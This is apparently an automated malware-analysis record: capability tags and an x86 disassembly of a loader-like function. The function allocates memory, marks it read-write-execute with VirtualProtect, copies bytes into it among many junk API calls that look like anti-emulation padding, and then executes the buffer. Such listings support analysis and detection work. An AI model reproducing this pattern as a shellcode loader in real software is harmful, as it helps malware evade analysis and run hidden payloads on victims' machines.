Function at 0x401653
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Initialize winhttp library
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x24c0
call fcn.0040d650
mov ecx, dword [0x2d39cec]
push esi
xor esi, esi
push edi
cmp ecx, 0x93
je 0x40184a
mov eax, dword [0x420608]
add ecx, 0x1134b
push ecx
push esi
mov dword [0x2d39df0], eax
mov dword [0x2d39cec], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x14]
mov dword [0x2d39c44], eax
push ecx
push 0x40
push dword [0x2d39cec]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0xcc0]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x4016b1
mov ecx, dword [0x2d39cec]
mov edi, esi
test ecx, ecx
je 0x40171f
mov eax, dword [0x2d39df0]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x2d39c44]
mov byte [eax + edi], cl
mov ecx, dword [0x2d39cec]
cmp ecx, 0x490
jne 0x40171a
lea eax, [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [0x2d39cec]
inc edi
cmp edi, ecx
jb 0x4016ce
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x4017b2
push str.zahoyaj
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x4c0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoW]
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
push esi
lea eax, [ebp - 0x18c0]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x10c0]
push eax
push str.roxakegavaxunedevuk
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
lea eax, [ebp - 0x1cc0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x8c0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [0x2d39cec]
inc edi
cmp edi, 0x38681
jl 0x401721
push ecx
call fcn.004015ef
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4017d7
call fcn.00401637
inc edi
cmp edi, 0x674db
jl 0x4017c7
push 0x7b
pop edi
cmp dword [0x2d39cec], 0x86
jne 0x401830
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea eax, [ebp - 0x24c0]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
dec edi
jne 0x4017e3
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2d39c44]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0xcc0]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push esi
push esi
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.USER32.dll_DrawEdge]
push esi
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.USER32.dll_SetUserObjectSecurity]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x20c0]
push eax
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
push esi
lea eax, [ebp - 0x4c0]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push esi
lea eax, [ebp - 0x14c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
push esi
call fcn.00403c7f
pop ecx
pop ecx
push esi
push ecx
and dword [esp], esi
call fcn.00401104
add esp, 8
fstp st(0)
call fcn.00403e42
int3